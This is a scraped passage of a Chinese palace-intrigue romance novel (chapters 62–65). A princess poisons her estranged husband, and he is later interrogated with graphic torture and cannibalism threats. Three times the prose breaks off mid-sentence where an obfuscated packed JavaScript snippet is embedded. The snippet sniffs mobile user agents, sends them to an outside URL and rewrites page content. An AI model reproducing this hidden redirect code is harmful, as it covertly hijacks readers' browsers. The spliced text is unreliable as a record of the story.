虞湘晔接过玉瓶,塞进袖中,抬眸对虞睿祥下了逐客令,语气带着点娇俏的冷硬:“天色已晚,皇兄该回宫了,省得母后惦记。” 虞睿祥失笑,点了点她的额头:“你啊你,真是用完皇兄就丢。”说罢便起身,带着侍卫悄声离开了公主府。 府内的烛火再度亮起时,虞湘晔已提笔写下一封休书, 笔墨冷硬,字字皆是决绝。 她捏着休书,转身走向府后的暗室,那里关着遍体鳞伤的景轩。 暗室里霉味混着血腥味,景轩趴在冰冷的草堆上,面如金纸,毫无血色。 他身上除了被割掉的那处,瞧着无甚明显伤痕。 实则公主府的行刑人手段高超,板子打在肉里,伤的是内里脏腑,还有那细如牛毛的银针,扎在穴位上,疼得钻心却留不下痕迹,早已让他没了半分人样。 “景轩,本宫放你自由。” 虞湘晔将休书丢在他脸边,纸张擦过他的脸颊,带着刺骨的冷。 景轩艰难地抬眼,眼中只剩惊恐和怨毒,却连说话的力气都无。 虞湘晔俯身,用脚尖踩着他的下颌,逼他抬脸,另一只手从袖中取出那玉瓶,倒出一粒黑色的药丸,硬生生塞进他的嘴里。 随即端起一旁早已凉透的茶水,捏着他的下巴灌了下去,茶水呛得他剧烈咳嗽,喉咙里发出嗬嗬的声响,药丸却还是咽了下去。 她垂眸看着他狼狈挣扎、却动弹不得的模样,眼底无半分怜悯:“但凡你做事留半分底线,不做这般龌龊腌臜的事,本宫念及夫妻一场,尚可饶你一命。可你偏要作死,便休怪本宫心狠。” 话音落,她收回脚,转身离去,暗室的门被重重关上,隔绝了景轩最后的哀求与咒骂。 第二日天刚蒙蒙亮,公主府的人便抬着昏迷不醒的景轩,连同那封休书,还有他在府中的所有物件,一并送回了景家。 景家上下乱作一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646220|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团,连忙请来京城最好的大夫,大夫诊脉后,脸色凝重地摇了摇头。 “景大人被伤了根本,那处被割去,失血过多,“可以看出来公主府给他用的都是上乘的金疮药止血,可内里脏腑皆损,怕是……挺不过今日了。” 话音刚落,景夫人眼前一黑,直挺挺地晕了过去。 一日之间,景轩被公主府休弃、重伤濒死的消息,便连同景家深夜“闹鬼”的传闻,一起传遍了京城。 百姓们茶余饭后,皆当笑谈,说景家是做了亏心事,遭了报应。 可这消息传到中书令耳中时,他却如遭雷击,惊出一身冷汗,连手中的茶盏都端不稳了。 他跌跌撞撞地找到先前请来的道长,声音发颤:“道长!那女鬼怎的跑到景家去了?那日你不是说伤了她的元气,她不敢再来了吗?” 那道长捻着胡须,故作玄乎地叹气:“那日贫道虽伤了她,可她怨念极深,只是功力大减罢了。贫道在大人府中布了阵法,她寻不到此处,便只能去找与大人接触过的人,想来是认错了,把景大人当成了大人的近侍。” “认错了?” 道长:“正是此意。” 中书令眼珠一转,心头忽然生出一个主意。 若是把晋王的贴身衣物扔进山里,那女鬼会不会循着气息,去山里找晋王?这般一来,便与他们无关了! 消息能传到中书令这里,自然也传进了贺梦雨的父亲、国子监祭酒,贺泓名的耳中。 他坐在书房品茗,手中的茶盏“哐当”一声摔在地上,碎瓷溅了一地,茶水打湿了他的常服,他却浑然不觉。 枯坐了许久,贺泓名猛地站起身,换了官服,神色决绝,抬脚便往皇宫走去。 贺泓名求见时,燕修延正坐在一侧的软榻上,慢悠悠地嗑着瓜子,瓜子皮堆了一小碟。 虞睿祥则埋首批阅奏折,殿内静悄悄的,只听得见笔尖划过宣纸的声响。 听到太监通传贺泓名求见,燕修延挑眉,把瓜子碟推到一旁,拍了拍手上的瓜子屑,坐直了身子,轻笑一声:“贺大人倒来得挺快。” 他把瓜子收起来,端正了坐姿。 贺泓名进殿,见燕修延也在,愣了一瞬,随即先向虞睿祥行礼后,又向燕修延颔首示意。 燕修延亦点头回礼。 虞睿祥一边批阅奏折一边揉着眉心,“贺卿今日进宫,可有要事?” 贺泓名猛地撩起衣袍,重重跪在地上,额头抵着冰冷的金砖,声音带着压抑的悲痛与恳求:“陛下,臣有一事,求陛下恩典!” 他抬眸,红了眼眶,将京城流传的景家闹鬼、景轩的龌龊行径一一说了出来。 “臣知道此事听来荒诞。” 贺泓名深深拜下,额头贴着地面,悲痛道:“可臣的女儿梦雨,自小锦衣玉食养着,身子骨素来康健,自愿嫁与晋王为妾后,却不到两年便难产而亡。今日听闻景家之事,臣心头翻覆,只觉女儿的死,怕是并非偶然……” 他重重叩首,额头磕出淡红的印子:“求陛下为臣的女儿做主!” “朕知道了。” 虞睿祥合上奏折,声音沉定,“燕卿,此事便交由你去查,务必查个水落石出,给贺卿一个交代。” 燕修延起身,拱手躬身,声音清亮,字字铿锵:“臣,领命。” —————————————— 假死药:日后会用到燕修延身上的哦,但功效会比这个更猛些!!! 下章预告: 燕修延眉飞色舞道:“那景水还真是早上才醒的,叫不少人看了去。” 谢伟恒有些意外:“竟昏睡了那么久?” 63. 他这样,甚好 “听说了没?长公主的驸马,死啦!” “听说了,但你说的不对,长公主已经把驸马休掉啦!” “真没想到,景家公子生的好看,看着挺老实的,居然有这样奇怪的癖好。” “知人知面不知心,画虎画皮难画骨。” “我还听说一件事情,景家昨晚失火还——闹鬼啦!第二天景家老爷和管家被发现晕倒在失火的厨房外,两个人脸贴着脸,嘴对着嘴!” “嚯!” “景家公子被阉了也是活该!好像就是因为强抢了人家公子,这不是作死是什么?” “可不!上梁不正下梁歪!” 茶楼临窗的雅间拢着半幅素纱,外头的议论声裹着茶烟的清苦钻进来,字字句句落进燕修延耳里。 燕修延嗤笑一声,指尖敲了敲茶盏。 知人知面不知心,这话倒真是说到了点子上。 当初世人还说晋王宠贺梦雨入骨,成亲没多久便有了身孕。 彼时贺梦雨说怕冲撞胎气,让晋王挪去偏院,晋王愣是不肯,夜夜守在她院外。 各种补品跟不要钱似的往贺梦雨院子送,那股子宠劲,羡煞了整个京城的贵女。 补品…… 燕修延忽然眸子一凝,像是想起了什么关键,猛地一拍脑袋,茶钱往桌上一放,起身便走。 步子迈得急,衣摆扫过廊下的花枝,惊落了几片花瓣。 进宫的路熟门熟路,他绕开了当值的侍卫,径直寻到太医院,一眼就瞅见了正低头配药的郑太医。 上前一把揽住人的肩膀,将人拖到僻静的廊下,压低了声音问:“老郑头,问你个事儿,女子有孕之后,日日山珍海味进补,会怎么样?” 郑太医被他揽得一个趔趄,扶了扶头上的医官帽,一脸狐疑地看他:“能怎么样?若这女子走动少、且进补多,补得胎大,生产时十有八九要难产,弄不好就是一尸两命。” “你问这个做什么?莫非你小子背着谢大人……” 后半句话没说完,就见燕修延脸上挂着皮笑肉不笑的神情,指节抵了抵他的肩膀:“我可以背着谢大人揍你一顿。” 郑太医嘿嘿一笑,目光却越过燕修延的肩膀,往他身后瞟,语气慢悠悠的:“你怕是没机会背着了,人这不就在后头呢?” 燕修延心头一跳,回头便见谢伟恒立在不远处的廊柱旁,月白的锦袍衬得人身姿挺拔,眉眼温和,正望着他。 阳光透过廊檐的雕花落在谢伟恒发梢,镀上一层浅金。 燕修延,松开揽着郑太医的手,扬声问:“事情忙完了?” “嗯。” 谢伟恒颔首,缓步走过来,目光扫过他,带着点不易察觉的笑意,“现在回家么?估摸着府里的饭该备好了。” 燕修延应了声“回”,冲郑太医摆了摆手,算是告辞。 郑太医捋着山羊胡,看着两人并肩离去的背影,笑呵呵地摇了摇头,转身回了太医院。 宫门外,马车早已候着,掀帘坐进去,燕修延才想起方才的念头,侧头问谢伟恒:“谢家在京城,可有茶楼?” “有两家。” 谢伟恒指尖轻轻敲着膝头,淡淡道,“云起时,水穷处。” 燕修延一愣,随即挑眉,一脸意外:“京城里那两家大茶楼居然是你家的?这名字也太俗了点吧,听着跟街边的小茶馆似的。” 谢伟恒闻言,抬手握住他的手腕,温热的指尖覆在他微凉的掌心,轻轻写下一个“王”字。 “取自王右丞的一首诗……” “好了好了,别念诗别念诗!师父别念诗了,这名字取的好,雅致,太雅致了,天下第一雅致!” 燕修延连忙捂住谢伟恒的嘴,一脸抗拒。 他打小就怕念诗背诗,偏偏太后总觉得他天纵奇才,一定是文武双全的。 请了十几个夫子来教他,结果全被他气走了,竹丝抽断了几十根。 燕修延愣是一句诗都不肯好好背,最后硬气地跟太后说:文武双全不可能,文的那茬,这辈子都别想了。 谢伟恒被他捂着嘴,眉眼弯起,眼底漾着温柔的笑意,轻轻“嗯”了一声。 燕修延抽回手,谢伟恒一说话,嘴巴就蹭过他的掌心,怪痒的。 “不过你这两家茶楼,怕是听不到什么劲爆的坊间消息。” 燕修延原想着,若是谢家有茶楼,往后就能去免费喝茶,顺便听听八卦,看来是想错了。 谢伟恒摇了摇头,语气清淡:“此言差矣。去这两家茶楼的,不是京中权贵,便是文人雅客,他们知道的,比坊间那些流言碎语只多不少,而且……” “而且更接近事情的真相。”燕修延立刻接过话头,眼睛一亮,毫不客气地提要求,“那你给我留个雅间,最好是临窗的,方便听消息的那种。” 谢伟恒看着他眼里的光,失笑点头:“自然可以。若是需要,也可以用来散布消息。” “这个主意好!” 燕修延一拍大腿,眼睛更亮了,直接散布一手消息,可比听坊间传言强多了。 他正想跟谢伟恒说方才想到的事,脑子里却忽然一空,方才的念头像是被风吹走了似的,怎么也想不起来了。 罢了,回家再说。 马车轱辘碾过青石板路,稳稳地驶回谢府。 刚进府门,就闻到了饭菜的香气,丫鬟们端着菜碟鱼贯而入,摆了满满一桌子。 燕修延饿了半天,也不客气,拿起筷子就吃,先扫了一轮菜,扒了一碗饭,肚子垫饱了,才慢下速度,夹菜的动作也斯文了些。 吃到第二碗饭时,脑子里忽然灵光一闪,想起了方才忘了说的事,抬眼看向对面的谢伟恒,眉飞色舞地说:“对了,那景水,今儿早上才醒的,醒的时候府里乱作一团,不少下人都看见了他那副模样。” 谢伟恒夹菜的动作一顿,有些意外:“竟昏睡了这么久?” “可不,太逗了。” 燕修延嚼着嘴里的红烧肉,含糊道,“那模样,要多狼狈有多狼狈,不过说起来,也可怜了景夫人——哦,不对,她也谈不上可怜。” 景夫人整治后宅的手段,可是一等一的。 景水的几个小妾,还有那几个没养大的孩子,哪一个不是被她不声不响地弄没的? 谢伟恒闻言,只是淡淡颔首,没再多说,只是往燕修延碗里夹了一筷子他爱吃的糖醋排骨。 三日后,景家为景轩发丧。 锣鼓声敲得震天响,白幡飘了一路,看着哀戚,却没几个人真心惋惜,反倒有不少人在背后指指点点,说这是恶有恶报。 发丧的当夜,景轩的新坟,就被人悄无声息地挖开了。 “哗啦!” 一捧凉水兜头泼下。 景轩眼皮颤动了一会,才醒过来。 燕修延立在一旁,手里端着一盏热茶,慢条斯理地抿着,眉眼间带着点漫不经心的慵懒。 见他眼皮动了,才抬眼冲一旁的人抬了抬下巴,声音清淡:“殿下放心,人还活着。这吃了药,总得给点时间让药效上来,急不得。” 景轩睁开眼,视线模糊间,先看到了燕修延那张似笑非笑的脸,再一偏头,便见虞湘晔一身华贵的宫装,仪态万千地坐在一旁的石凳上,指尖捻着一方绣帕,正似笑非笑地看着他。 “这不,醒了。” 燕修延将茶盏递到身侧的谢伟恒手边,唇角勾着点戏谑,冲谢伟恒道,“谢大人,一会见了血,要是觉得害怕,就先出去待会。” 虞湘晔闻言,掩唇轻笑:“修延哥,当年你吓我的时候,怎么没这么贴心?那时候你可是拿着鞭子,跟我说什么刑具的用法,吓得我好几夜没睡好。” 燕修延闻言,拇指和食指比了个小小的缝隙,冲她晃了晃,语气一本正经:“殿下,那可不叫吓,那叫交流下关于用刑的一点点心得罢了。怎么,还记仇呢?” 虞湘晔正要说话,就听谢伟恒淡淡开口,语气里带着点不容置疑的冷意:“开始审问吧。” 虞湘晔挑眉,瞥了一眼谢伟恒,又看了看燕修延,掩唇笑道:“本宫不过与修延哥多说了两句,谢大人这是吃醋了?” 她原以为谢伟恒会推脱,或是面红耳赤,却没想到谢伟恒抬眸,目光落在燕修延身上,温柔得能滴出水来,语气却无比笃定:“是。” 一个字,噎得虞湘晔半天说不出话来。 她看着谢伟恒那副理所当然的模样,又看了看燕修延的样子,忽然觉得自己像个多余的。 燕修延喝了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646221|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶,拍拍手站起身:“行了,干活。” 他走到被绑在刑架上的景轩面前,俯身,指尖挑起景轩的下巴,语气漫不经心,却带着刺骨的寒意:“说吧,你手上的私铸钱,哪儿来的?” 景轩瞳孔猛地一缩,像是被戳中了要害,呼吸瞬间急促起来,胸口剧烈地起伏着,眼底闪过一丝慌乱,却死死地咬着牙,不肯说话。 “不说话?” 燕修延轻笑一声,直起身,指节敲了敲刑架,“也是,在棺材里躺了三天,估计也饿坏了,没力气说话。” 说着,抬手冲一旁的下人摆了摆手。 下人立刻端着一碗热气腾腾的肉粥过来,粥香浓郁,飘着肉糜的香气。 燕修延接过粥碗,走到景轩面前,伸手捏住他的下颌,稍一用力,便将他的下颌卸了下来。 景轩只能张着嘴,发出“嗬嗬”的声音,眼中满是惊惧。 燕修延端着碗,将肉粥灌进他嘴里,温热的粥滑进喉咙,景轩想咽又咽不下去,想挣又挣不开,只能任由着粥被灌进肚子里。 一碗粥灌完,燕修延才松开手,慢条斯理地擦了擦指尖,又将他的下颌接了回去,俯身在他耳边,声音轻得像风,却字字淬着冰:“味道不错吧?这肉,可是你那贴身小厮大腿上的。” 景轩一听,瞬间胃里翻江倒海,猛地想要呕吐,却被燕修延伸手捏住了下巴,硬生生地抬了起来,让他吐不出来。 胃里的酸水往上涌,又被硬生生地压回去,那股子恶心的滋味,让他眼前发黑,浑身发抖。 燕修延的声音依旧轻柔,却带着灭顶的威胁,“你若不说,下次再给你端来的,可就是景家人的肉。” 一旁的虞湘晔听得这话,拿着绣帕的手猛地一顿,捂住嘴,胃里也一阵翻涌,强忍着才没吐出来。 她侧头看向谢伟恒,声音带着点不易察觉的颤抖:“谢大人可曾见过修延哥这一面?” 谢伟恒的目光自始至终都落在燕修延身上,看着他俯身时露出的后颈,看着他指尖的力道,看着他眼里的冷意,眼底却没有半分惧色,反而满是温柔,轻声道:“第一次见。” 虞湘晔皱眉,还想再说什么,说他就不觉得燕修延这样太过狠戾了吗?可话到嘴边,却被谢伟恒接下来的话堵了回去。 “他这样,甚好。” 甚好? 虞湘晔愣住了,看着谢伟恒那副温柔的模样,忽然恍然大悟。 原来谢伟恒不是不觉得狠,而是不管燕修延是什么样子,温柔的,痞气的,狠戾的,他都喜欢,都觉得甚好。 这人,看着温文尔雅,骨子里怕是比燕修延还要狠上几分。 虞湘晔撇了撇嘴,心里默默腹诽,嘴上却道:“谢大人和修延哥,还真是什么锅配什么盖,天生一对。本宫祝你们二人,白头偕老,永不分离。” 她原是随口一说,想着谢伟恒总要客气两句,却没想到谢伟恒抬眸,目光与她对视,语气无比认真:“这是自然。” 虞湘晔:…… 行,算她多嘴。 她索性闭了嘴,看着眼前的一幕,懒得再插话。 燕修延听见两人的对话,回头白了谢伟恒一眼,没好气道:“不看就出去,交头接耳说什么悄悄话?” 谢伟恒望着他,眉眼含笑,声音温柔:“我一直在看着燕大人,未曾分神。” 燕修延:…… 他就不该答应让谢伟恒留下来旁观。 早知道这家伙一看着他,就满嘴的甜言蜜语,他说什么也得把人赶出去。 可现在说什么都晚了,总不能当着虞湘晔的面把人轰走,只能咬着牙转回头,继续对付景轩。 景轩好不容易压下胃里的翻涌,脸色惨白如纸,浑身都被冷汗浸湿了,靠在刑架上,有气无力地喘着气,眼神躲闪,却依旧嘴硬:“我不知道你在说什么……私铸钱?什么私铸钱?许是别人找钱时,不小心流到我手上的,我根本不知情。” —————————————— 虞湘晔:你俩真配,赶紧锁死,钥匙本宫替你俩扔护城河里。 下章预告: 虞湘晔差点破功,她扫了燕修延一眼:“你哪儿来的瓜子?” 燕修延指指谢伟恒:“谢大人带的。” 64. 别一竿子打死 “哦,那你家地窖里的,也都是别人找零的钱?” 燕修延随手扒拉着刑架上琳琅满目的刑具,指尖在一把寒光闪闪的剔骨刀上顿了顿,慢悠悠地将刀捻起来。 他语气轻飘,像是在聊天气,刀刃却在景轩眼前虚虚晃了晃,“景轩,你最好想清楚了再说。有些话,说出口就收不回来了。” 景轩被铁链勒得手腕渗血,却依旧梗着脖子,声音嘶哑:“我不知道你们在说什么……你们不能动用私刑!” “不能?” 虞湘晔的笑声像碎冰般在刑室里炸开,她支着下巴,眼尾挑着漫不经心的嘲讽:“景轩,这才几天,在本宫府上受过的刑,就都忘了?” 景轩猛地抬眼,撞进虞湘晔含笑的眼底,那笑意里的凉薄让他浑身一震,又飞快地垂下眼。 燕修延捕捉到景轩眸底一闪而过的恨意,立刻扭头冲虞湘晔告状:“殿下你看,他恨你呢。” “呵。” 虞湘晔冷笑一声,站起身缓步走到刑架前,裙摆扫过地上的铁链,发出细碎的声响,“享受着驸马身份带来的荣华富贵,还睡了本宫的面首,也配恨我?” 这句话像一把火,瞬间点燃了景轩的隐忍。 他猛地抬头,额上青筋暴起,嘶吼道:“恩惠?你一个又一个地收面首、纳男宠,让我在京中颜面尽失,受尽耻笑!这就是你说的恩惠?” 虞湘晔缓缓站起身,莲步轻移走到他面前,居高临下地看着他,玉指抬起,狠狠勾住他的下巴,迫使他抬头与自己对视,指尖的力道几乎要捏碎他的下颌:“要怪,就怪你自己没本事。天下男子,哪个不是娶了端庄正妻,便左拥右抱纳美妾无数?怎么,到了本宫这里,就成了十恶不赦?” “你们女人——” 景轩气得胸膛剧烈起伏,话未说完,只听“啪”的一声脆响,狠狠扇在他的脸上。 虞湘晔的力道极大,景轩的头被扇得偏到一侧,半边脸颊瞬间浮起清晰的五指印,火辣辣的疼直钻心底。 “景轩你记着,”虞湘晔的声音冷得像淬了冰,“本宫是长公主,是能一句话左右你景家上下几十口人生死的女人,你还没资格在本宫面前置喙。” 燕修延坐在谢伟恒的椅子扶手上,随手端起谢伟恒面前的茶杯,抿了一口温茶,慢悠悠赞道:“殿下好气势。” 腰上忽然一暖,不用看也知道是谢伟恒的手。 燕修延戳了戳那只覆在腰侧的手,压低声音道:“审讯呢,你严肃点。” 谢伟恒不仅没收手,反而搂得更紧,温热的气息贴在他耳边,带着点笑意:“燕大人,我害怕。” 燕修延在心里翻了个白眼——又来了,谢伟恒这戏精又开始演了。 虞湘晔一回头,就看见谢伟恒像只大型犬似的,把头轻轻靠在燕修延的肩头,两人姿态亲昵得旁若无人。 这里是刑房吧? 这两人干嘛呢! 她额角跳了跳,没好气道:“要调情出去调,这里是刑房!不是你们的闺房。” 燕修延冲着谢伟恒努努嘴:“谢大人,听见没,殿下让你撒手。” 谢伟恒这才不情不愿地松开手,抬眼看向虞湘晔。 那一眼里没有温度,只有淡淡的警告,看得虞湘晔心头一跳。 她不过是说了一句,至于这么护着吗? 这时候虞湘晔终于明白,方才她主动提出要盯着修延哥审问景轩时,皇兄那一言难尽的眼神是什么意思了。 这两人,根本就是刑房调情两不误。 燕修延没理会两人之间的暗流涌动,他看向虞湘晔,问道:“景轩此前和中书令何家的远房姑娘定了亲,殿下知道这件事吗?” 说话时,他的余光一直锁着景轩。 果然,景轩耷拉着的眼皮几不可查地颤了颤。 虞湘晔点点头:“知道,本宫还特意为那姑娘寻了门好亲事,算是补偿。” 景轩的脸颊骤然紧绷,指节攥得发白。 燕修延摸着下巴,语气轻松得像在聊家常:“那明日就用那位姑娘的肉,熬汤给景轩喝吧。” 景轩的反应却不如刚才激烈,只是垂着眼,脸色愈发惨白。 反倒是虞湘晔皱起眉:“这不妥,那姑娘是无辜的。” 燕修延笑了笑,语气轻飘飘的:“行,那就用那位姑娘腹中孩子的肉。” “哗啦——” 景轩猛地睁开眼,剧烈地挣扎起来,铁链撞在刑架上发出刺耳的声响。 他目眦欲裂,嘶吼道:“我不知道什么私铸钱!你为何要这般逼我!柔儿何辜!腹中孩子何辜!” 燕修延冲虞湘晔摊摊手:“殿下,看来他跟别人有了私生子,孕期应该还不大。” 虞湘晔瞬间明白了他的用意,讽刺地笑了笑:“呵,男人。” “别一竿子打死,”燕修延立刻为自己辩解,“我是好男人,谢大人……勉强也算一个。” 谢伟恒闻言,眼底的笑意几乎要溢出来。 虞湘晔翻了个白眼,索性闭了嘴。 燕修延走到景轩面前,屈指敲了敲刑架:“我数三个数,你不说,我就让人把孩子剖出来。一——” “我说!我说!” 景轩的心理防线彻底崩溃,他瘫在刑架上,声音里满是绝望:“地窖里的私铸钱,大部分是尚未来得及兑换成现银或银票的……” 燕修延满意地点点头——和他猜想的一样,赶明儿可以去找陛下兑现那二百两黄金的赏钱了。 景轩喘着气,继续招认。 季风的事情牵扯出私铸钱后,为了以防万一,最近一批货是趁着夜色运进城的,藏在地窖的密室里。 景轩任城门校尉时,父亲景水就让他放行一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646222|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特定的人。 每次放行后,家里都会多出一笔钱,放进地窖密室。 后来家里为他议亲,可他被长公主看上成了驸马,住进公主府。 之后过了半个多月,家里传话让他接触公主府的贺昭。 贺昭会根据我值守的时间,安排人运私铸钱进京。” 虞湘晔忽然开口,打断了他的话:“你和那个什么柔儿,是什么时候的事?” 景轩沉默了片刻,才低声道:“我与柔儿早就相识,两个月前陪殿下上香时遇见的。她在夫家过得不如意,我……” “而你需要一个孩子。” 虞湘晔一语道破,眼神锐利如刀,“在重遇柔儿之前,你怕是早就动了心思,只是没找到合适的人。这个人必须知根知底,嘴还得严实,对不对?” 景轩知道自己今日难逃一死,反而破罐破摔,仰起头露出一个恶意满满的笑容:“殿下就是个不下蛋的母鸡!我想要一个流着自己血脉的孩子,这是人之常情!” 虞湘晔脸上不见丝毫羞恼,依旧是那副骄矜的模样:“让本宫猜猜,你喜欢男子,且偏爱穿女装的男子,是在成为驸马之后吧? 你掌控不了本宫,又不敢随意动别的女子怕弄出孩子丢了驸马的身份,兜兜转转,也只敢找柔儿,是也不是?” 景轩恶狠狠地盯着虞湘晔,眼中的怨毒几乎要滴出来,咬牙切齿道:“是又如何!” “咔——” 一声清脆的嗑瓜子声响起,打破了刑室里的剑拔弩张。 虞湘晔差点破功,她扫了燕修延一眼:“你哪儿来的瓜子?” 燕修延指指谢伟恒,理直气壮:“谢大人带的,说是怕审案太无聊,解解闷。” 虞湘晔坐回椅子上,伸手道:“给我也来点,我要问的都问完了,剩下的你自己来。” 燕修延嗑完最后一粒,拍拍手:“没了。” 他又问了景轩几个细节问题,确认没有遗漏后,伸了个懒腰:“行了,没什么好问的了。” 景轩立刻着急起来:“该说的我都说了!你不能伤害我的孩子!” 燕修延打了个哈欠,语气懒洋洋的:“我还没心狠到对未出生的孩子下手。” 虞湘晔见他问完,开口道:“当真没有要问的了?” “嗯,该知道的都知道了。”燕修延颔首,“殿下还有话要问?” “没有,只是我还有件事要告诉景轩。” 虞湘晔缓缓站起身,走到景轩面前,居高临下,目光冰冷,一字一句,清晰地砸在景轩的心上,像一道惊雷,炸得他体无完肤。 “景轩,柔儿怀的,肯定不是你的孩子,你和再多女人睡,都不会有自己的孩子的。” —————————————— 下章预告: 世界调成静音,聆听景轩破防的声音哦?? 65. 爱屋及乌的谢侍郎 燕修延那声“啊”惊得尾音都飘了,眉峰高高挑着,眼底满是不敢置信。 脑子里第一个窜出来的念头便是长公主对景轩下了药——否则好好的男子,怎会落得不能生养的境地。 “成亲第一月,本宫不曾服用过避子汤,但迟迟未能有孕,便借着你生病让府医一并瞧了。” 虞湘晔看着景轩,眼神里带着怜悯:“景轩,不能生的人是你,本宫念及你是个男人恐难接受这种事情,从那以后本宫便次次服用避子药。” 长公主的声音淡得像淬了寒的水,字字砸在景轩心上,也砸得燕修延下巴微张,半天合不拢。 谢伟恒抬手轻轻托住他的下颌,指腹温温的,稍一用力便替他合上了嘴,指尖还若有似无蹭了蹭他的唇角,无声安抚。 三人离开刑室,景轩的嘶吼便破门而出,那声音撕心裂肺,带着滔天的不敢置信与怨毒,“这不可能!你骗我!你这个毒妇!” 字字泣血,撞在廊下的青砖上,听得人头皮发麻。 回府途中,燕修延忽然没头没脑地冒出来一句,声音轻轻的,带着点不易察觉的迟疑,“你以后会不会想有自己的孩子?” 谢伟恒正替他剥着一颗蜜饯,闻言动作一顿,抬眼看向他,眼底漾着全然的笃定,想也不想便答:“不会。” 他将剥好的蜜饯递到燕修延唇边,看着他张口含住,才又补了一句,声音低沉而认真,“即便你能生孩子,我也不会要。妇人产子本就是从鬼门关走一趟,我可以不要孩子,但我不能没有你。” 这话直白又滚烫,撞得燕修延耳尖微微泛红,他摸了摸鼻子,偏过头佯装不在意,嘴上却硬邦邦道:“你想都别想,不可能有‘即使’!” 话虽如此,唇角却忍不住悄悄向上弯了弯,车厢内的空气,竟也跟着暖了几分。 刚回家,墙头忽然冒出来一个脑袋,正是温瑞,他缩着脖子,贼兮兮地左右看了看,见四周无人,便将一个沾着泥土的袱皮从墙头丢了下来,“咚”的一声落在燕修延脚边。 “头儿!” 温瑞的声音压得低低的,却难掩兴奋,“我看见中书令府有人鬼鬼祟祟的揣着这个包袱皮出了城门,一溜烟跑到山里去了!” 那人把包袱皮埋在一棵老槐树下,温瑞用树枝挑开看了,里面是几件华服,还有一块玉佩呢! 燕修延弯腰捡起袱皮,拍了拍上面的泥土,谢伟恒也凑过来看,两人一同将袱皮打开,里面的东西赫然入目—— 衣裳料子皆是上等的云锦,针脚细密,其中一件更是绣着四爪龙纹的蟒袍,料子上还带着淡淡的檀香,那玉佩则是块难得的暖玉,触手温润,雕工精巧,一看便知不是凡品。 燕修延与谢伟恒对视一眼,眼底皆闪过一丝了然,大约猜到了丢这个的用意。 燕修延乐不可支,眼睛弯成了月牙,拍着袱皮对墙头的温瑞道:“温瑞你今晚把这个丢回中书令府去,记住,得让巡夜的更夫清清楚楚看见!” “好啊好啊!”温瑞发现自己挺喜欢这种装神弄鬼、吓唬人的事情,说完便缩着脑袋,一溜烟从墙头上翻了下去,动作麻利得很。 翌日,中书令府闹鬼的消息便如长了翅膀一般,传遍了京城的大街小巷。 下了朝后,燕修延和谢伟恒去了云起时,寻了个临窗的雅间,两人临窗而坐,煮着一壶清茶,听着外面楼下茶客们的议论,好不惬意。 温瑞早已易容成一个富家公子哥,混在楼下的茶客之中,故作神秘地散布着消息。 “你们知道不?昨夜巡夜的更夫说了,他亲眼看见一个白衣披头散发的鬼,抱着个包袱飘进了中书令府,后来出来的时候,飘得歪歪扭扭的,好像是受了伤呢!” “我知道我知道!中书令前些日子就请了道长和大师去府里做法,听说之前就闹过鬼!” “那这鬼,和景家那个鬼,是不是同一个啊?” “依我看,肯定是同一个!冤有头债有主,这鬼定是在找人偿命呢!” “你们附耳朵过来,我可听说了,那鬼昨夜自称梦雨,口口声声叫着王爷呢!” “嚯!难道是——” “嘘!心知即可,不要说出来!小心惹祸上身!” “满上。”燕修延将空了的茶杯推到顾持柏面前,喝茶愣是整出了喝酒的架势:“果然人不管有钱没钱,都爱听热闹、说别人家的闲事,这京城的流言,传得比风还快。” 谢伟恒坐在他身侧,伸手拿过他手中的酒壶,替他倒了八分满的茶水,温声道:“要试试云起时的菜式么?” 燕修延愣了愣,他往日来茶楼,只喝茶,从不吃菜,一来是茶楼菜式本就不多,二来,以前是真穷,舍不得。 如今今非昔比,他可以吃大户。 “吃!好酒好菜,尽管上!” 不多时,小二便端着满满一桌子菜走了进来,荤素搭配,色香味俱全,皆是精致的菜式。 燕修延看着满桌佳肴,不禁咋舌,“你家茶楼竟有这么多菜式?” 竟全是他爱吃的。 谢伟恒拿起筷子,替他夹了一筷子他最爱的桂花糖藕,放在他碗中,淡淡道:“原本没有这么多种,后来根据你的喜好,让人加的。” 燕修延夹起糖藕咬了一口,甜糯适口,满心欢喜,端起酒杯抿了一口,酒液清冽,唇齿留香,他笑着道:“好酒!幸亏你不是皇上。” “否则我可就成了祸国妖夫,被世人唾骂了。” 谢伟恒闻言失笑,眼底漾着宠溺,低声道:“你若是想……” “不,我不想,闭嘴。” 燕修延立刻打断他,夹起一筷子红烧肉塞进他嘴里,佯怒道,“嘴上没个把门的,什么话都往外说。” 谢伟恒含住那口肉,慢慢咀嚼着,眉眼弯弯,“燕大人夹的菜,甚是美味。” 